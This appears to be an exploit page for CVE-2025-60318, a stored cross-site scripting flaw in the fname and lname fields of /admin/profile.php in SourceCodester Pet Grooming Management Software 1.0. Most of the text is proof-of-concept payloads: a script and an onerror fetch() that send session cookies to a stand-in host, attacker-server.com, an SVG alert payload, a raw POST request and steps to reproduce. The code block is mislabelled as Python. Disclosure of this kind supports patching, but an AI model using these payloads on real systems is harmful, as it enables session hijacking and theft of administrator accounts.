SourceCodester Pet Grooming Management Software 1.0 is vulnerable to Cross Site Scripting (XSS) in /admin/profile.php via the fname (First Name) and lname (Last Name) fields.
SourceCodester Pet Grooming Management Software 1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60318 Proof of Concept -->
<!-- Vulnerable endpoint: /admin/profile.php -->
<!-- Vulnerable parameters: fname (First Name), lname (Last Name) -->
<!-- Payload 1: Basic script injection via fname field -->
<script>
// Intercept session cookies and exfiltrate to attacker server
var cookie = document.cookie;
var img = new Image();
img.src = "http://attacker-server.com/steal?cookie=" + encodeURIComponent(cookie);
</script>
<!-- Payload 2: Event handler injection via lname field -->
<img src=x onerror="fetch('http://attacker-server.com/log?data='+document.cookie)">
<!-- Payload 3: SVG-based XSS payload -->
<svg/onload=alert(document.domain)>
<!-- HTTP Request Example (using curl): -->
<!--
POST /admin/profile.php HTTP/1.1
Host: target-server.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=admin_session_cookie
fname=<script>alert(document.cookie)</script>&lname=<img src=x onerror=alert(1)>&[email protected]&contact=1234567890
-->
<!-- Steps to reproduce:
1. Login as admin to Pet Grooming Management Software
2. Navigate to /admin/profile.php
3. Inject malicious payload into fname or lname fields
4. Submit the form
5. When the profile is viewed by another user, the XSS payload executes
-->